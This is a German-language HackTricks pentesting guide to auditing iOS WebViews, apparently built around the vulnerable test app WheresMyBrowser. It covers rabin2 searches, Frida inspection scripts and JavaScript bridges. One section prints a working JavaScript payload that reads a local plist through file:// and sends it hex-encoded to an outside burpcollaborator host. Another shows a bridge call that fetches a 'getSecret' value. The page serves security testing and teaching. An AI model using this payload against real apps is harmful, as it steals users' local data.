iOS WebViews

Support HackTricks

Der Code dieser Seite wurde hier extrahiert. Überprüfen Sie die Seite für weitere Details.

WebViews-Typen

WebViews werden innerhalb von Anwendungen verwendet, um interaktive Webinhalte anzuzeigen. Verschiedene Arten von WebViews bieten unterschiedliche Funktionen und Sicherheitsmerkmale für iOS-Anwendungen. Hier ist eine kurze Übersicht:

  • UIWebView, das ab iOS 12 nicht mehr empfohlen wird, da es keine Unterstützung für das Deaktivieren von JavaScript bietet, was es anfällig für Skripteinspritzung und Cross-Site Scripting (XSS)-Angriffe macht.

  • WKWebView ist die bevorzugte Option zur Integration von Webinhalten in Apps und bietet verbesserte Kontrolle über die Inhalte und Sicherheitsmerkmale. JavaScript ist standardmäßig aktiviert, kann jedoch bei Bedarf deaktiviert werden. Es unterstützt auch Funktionen, um zu verhindern, dass JavaScript automatisch Fenster öffnet, und stellt sicher, dass alle Inhalte sicher geladen werden. Darüber hinaus minimiert die Architektur von WKWebView das Risiko von Speicherbeschädigungen, die den Hauptanwendungsprozess betreffen.

  • SFSafariViewController bietet ein standardisiertes Webbrowser-Erlebnis innerhalb von Apps, erkennbar an seinem spezifischen Layout, das ein schreibgeschütztes Adressfeld, Freigabe- und Navigationsschaltflächen sowie einen direkten Link zum Öffnen von Inhalten in Safari umfasst. Im Gegensatz zu WKWebView kann JavaScript im SFSafariViewController nicht deaktiviert werden, der auch Cookies und Daten mit Safari teilt und die Privatsphäre des Benutzers von der App aus wahrt. Es muss gemäß den Richtlinien des App Store deutlich angezeigt werden.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Konfigurationsuntersuchung Zusammenfassung

Statische Analyse Übersicht

Im Prozess der Untersuchung von WebViews Konfigurationen konzentriert man sich auf zwei Haupttypen: UIWebView und WKWebView. Zur Identifizierung dieser WebViews innerhalb einer Binärdatei werden Befehle verwendet, die nach spezifischen Klassenreferenzen und Initialisierungsmethoden suchen.

  • UIWebView Identifizierung

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Dieser Befehl hilft dabei, Instanzen von UIWebView zu lokalisieren, indem nach Textzeichenfolgen gesucht wird, die damit im Binärformat verbunden sind.

  • WKWebView Identifizierung

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Ebenso sucht dieser Befehl für WKWebView im Binärformat nach Textzeichenfolgen, die auf seine Verwendung hinweisen.

Darüber hinaus wird der folgende Befehl ausgeführt, um herauszufinden, wie ein WKWebView initialisiert wird, wobei die Methodensignatur, die mit seiner Initialisierung zusammenhängt, angesprochen wird:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript-Konfigurationsüberprüfung

Für WKWebView wird hervorgehoben, dass das Deaktivieren von JavaScript eine bewährte Methode ist, es sei denn, es ist erforderlich. Die kompilierte Binärdatei wird durchsucht, um zu bestätigen, dass die javaScriptEnabled-Eigenschaft auf false gesetzt ist, um sicherzustellen, dass JavaScript deaktiviert ist:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Nur sichere Inhaltsüberprüfung

WKWebView bietet die Möglichkeit, Probleme mit gemischtem Inhalt zu identifizieren, im Gegensatz zu UIWebView. Dies wird mit der hasOnlySecureContent-Eigenschaft überprüft, um sicherzustellen, dass alle Seitenressourcen über sichere Verbindungen geladen werden. Die Suche im kompilierten Binärformat erfolgt wie folgt:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Einblicke in die dynamische Analyse

Die dynamische Analyse umfasst die Inspektion des Heaps nach WebView-Instanzen und deren Eigenschaften. Ein Skript namens webviews_inspector.js wird zu diesem Zweck verwendet und zielt auf UIWebView, WKWebView und SFSafariViewController-Instanzen ab. Es protokolliert Informationen über gefundene Instanzen, einschließlich URLs und Einstellungen im Zusammenhang mit JavaScript und sicherem Inhalt.

Die Heap-Inspektion kann mit ObjC.choose() durchgeführt werden, um WebView-Instanzen zu identifizieren und die Eigenschaften javaScriptEnabled und hasonlysecurecontent zu überprüfen.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Das Skript wird ausgeführt mit:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Wichtige Ergebnisse:

  • Instanzen von WebViews werden erfolgreich lokalisiert und inspiziert.

  • Die Aktivierung von JavaScript und die sicheren Inhaltseinstellungen werden überprüft.

Diese Zusammenfassung fasst die kritischen Schritte und Befehle zusammen, die an der Analyse von WebView-Konfigurationen durch statische und dynamische Ansätze beteiligt sind, wobei der Fokus auf Sicherheitsfunktionen wie der Aktivierung von JavaScript und der Erkennung gemischter Inhalte liegt.

WebView-Protokollverarbeitung

Die Verarbeitung von Inhalten in WebViews ist ein kritischer Aspekt, insbesondere beim Umgang mit verschiedenen Protokollen wie http(s)://, file:// und tel://. Diese Protokolle ermöglichen das Laden von sowohl entfernten als auch lokalen Inhalten innerhalb von Apps. Es wird betont, dass beim Laden lokaler Inhalte Vorsichtsmaßnahmen getroffen werden müssen, um zu verhindern, dass Benutzer den Namen oder den Pfad der Datei beeinflussen oder den Inhalt selbst bearbeiten.

WebViews bieten verschiedene Methoden zum Laden von Inhalten. Für UIWebView, das jetzt veraltet ist, werden Methoden wie loadHTMLString:baseURL: und loadData:MIMEType:textEncodingName:baseURL: verwendet. WKWebView hingegen verwendet loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: und loadRequest: für Webinhalte. Methoden wie pathForResource:ofType:, URLForResource:withExtension: und init(contentsOf:encoding:) werden typischerweise zum Laden lokaler Dateien verwendet. Die Methode loadFileURL:allowingReadAccessToURL: ist besonders bemerkenswert für ihre Fähigkeit, eine bestimmte URL oder ein Verzeichnis in den WebView zu laden, was potenziell sensible Daten offenlegen kann, wenn ein Verzeichnis angegeben wird.

Um diese Methoden im Quellcode oder in der kompilierten Binärdatei zu finden, können Befehle wie die folgenden verwendet werden:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Bezüglich Dateizugriff erlaubt UIWebView diesen universell, während WKWebView die Einstellungen allowFileAccessFromFileURLs und allowUniversalAccessFromFileURLs einführt, um den Zugriff von Datei-URLs zu verwalten, wobei beide standardmäßig auf false gesetzt sind.

Ein Frida-Skriptbeispiel wird bereitgestellt, um die WKWebView-Konfigurationen für Sicherheitseinstellungen zu inspizieren:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Zuletzt zeigt ein Beispiel für eine JavaScript-Nutzlast, die darauf abzielt, lokale Dateien zu exfiltrieren, das potenzielle Sicherheitsrisiko, das mit unsachgemäß konfigurierten WebViews verbunden ist. Diese Nutzlast kodiert den Inhalt von Dateien in das Hex-Format, bevor sie an einen Server übertragen wird, und hebt die Bedeutung strenger Sicherheitsmaßnahmen in WebView-Implementierungen hervor.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methoden, die durch WebViews exponiert werden

Verständnis der WebView-Nativen Schnittstellen in iOS

Seit iOS 7 bietet Apple APIs für die Kommunikation zwischen JavaScript in einem WebView und nativen Swift- oder Objective-C-Objekten. Diese Integration wird hauptsächlich durch zwei Methoden erleichtert:

  • JSContext: Eine JavaScript-Funktion wird automatisch erstellt, wenn ein Swift- oder Objective-C-Block mit einem Bezeichner innerhalb eines JSContext verknüpft wird. Dies ermöglicht eine nahtlose Integration und Kommunikation zwischen JavaScript und nativen Code.

  • JSExport-Protokoll: Durch die Vererbung des JSExport-Protokolls können native Eigenschaften, Instanzmethoden und Klassenmethoden für JavaScript exponiert werden. Das bedeutet, dass alle Änderungen, die in der JavaScript-Umgebung vorgenommen werden, in der nativen Umgebung gespiegelt werden und umgekehrt. Es ist jedoch wichtig sicherzustellen, dass sensible Daten nicht unbeabsichtigt durch diese Methode exponiert werden.

Zugriff auf JSContext in Objective-C

In Objective-C kann der JSContext für ein UIWebView mit der folgenden Codezeile abgerufen werden:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Kommunikation mit WKWebView

Für WKWebView ist der direkte Zugriff auf JSContext nicht verfügbar. Stattdessen wird die Nachrichtenübermittlung über die Funktion postMessage genutzt, die die Kommunikation zwischen JavaScript und der nativen Anwendung ermöglicht. Handler für diese Nachrichten werden wie folgt eingerichtet, um JavaScript eine sichere Interaktion mit der nativen Anwendung zu ermöglichen:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaktion und Testen

JavaScript kann mit der nativen Schicht interagieren, indem es einen Skript-Nachrichtenhandler definiert. Dies ermöglicht Operationen wie das Aufrufen nativer Funktionen von einer Webseite:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Um das Ergebnis eines nativen Funktionsaufrufs zu erfassen und zu manipulieren, kann man die Callback-Funktion innerhalb des HTML überschreiben:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Die native Seite verarbeitet den JavaScript-Aufruf, wie in der Klasse JavaScriptBridgeMessageHandler gezeigt, wo das Ergebnis von Operationen wie der Multiplikation von Zahlen verarbeitet und zur Anzeige oder weiteren Manipulation an JavaScript zurückgesendet wird:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial basierend auf dem von https://blog.vuplex.com/debugging-webviews)

Um Webinhalte innerhalb von iOS-Webviews effektiv zu debuggen, ist eine spezifische Einrichtung erforderlich, die die Entwicklertools von Safari nutzt, da Nachrichten, die an console.log() gesendet werden, nicht in den Xcode-Protokollen angezeigt werden. Hier ist eine vereinfachte Anleitung, die die wichtigsten Schritte und Anforderungen hervorhebt:

  • Vorbereitung auf dem iOS-Gerät: Der Safari-Webinspektor muss auf Ihrem iOS-Gerät aktiviert werden. Dies geschieht, indem Sie zu Einstellungen > Safari > Erweitert gehen und den Webinspektor aktivieren.

  • Vorbereitung auf dem macOS-Gerät: Auf Ihrem macOS-Entwicklungsrechner müssen Sie die Entwicklertools in Safari aktivieren. Starten Sie Safari, greifen Sie auf Safari > Einstellungen > Erweitert zu und wählen Sie die Option Entwicklungsmenü anzeigen.

  • Verbindung und Debugging: Nachdem Sie Ihr iOS-Gerät mit Ihrem macOS-Computer verbunden und Ihre Anwendung gestartet haben, verwenden Sie Safari auf Ihrem macOS-Gerät, um das Webview auszuwählen, das Sie debuggen möchten. Navigieren Sie zu Entwickeln in der Menüleiste von Safari, fahren Sie mit der Maus über den Namen Ihres iOS-Geräts, um eine Liste der Webview-Instanzen anzuzeigen, und wählen Sie die Instanz aus, die Sie inspizieren möchten. Ein neues Safari-Webinspektor-Fenster wird zu diesem Zweck geöffnet.

Seien Sie sich jedoch der Einschränkungen bewusst:

  • Das Debugging mit dieser Methode erfordert ein macOS-Gerät, da es auf Safari angewiesen ist.

  • Nur Webviews in Anwendungen, die über Xcode auf Ihr Gerät geladen wurden, sind für das Debugging berechtigt. Webviews in Apps, die über den App Store oder Apple Configurator installiert wurden, können auf diese Weise nicht debuggt werden.

References

Support HackTricks

Last updated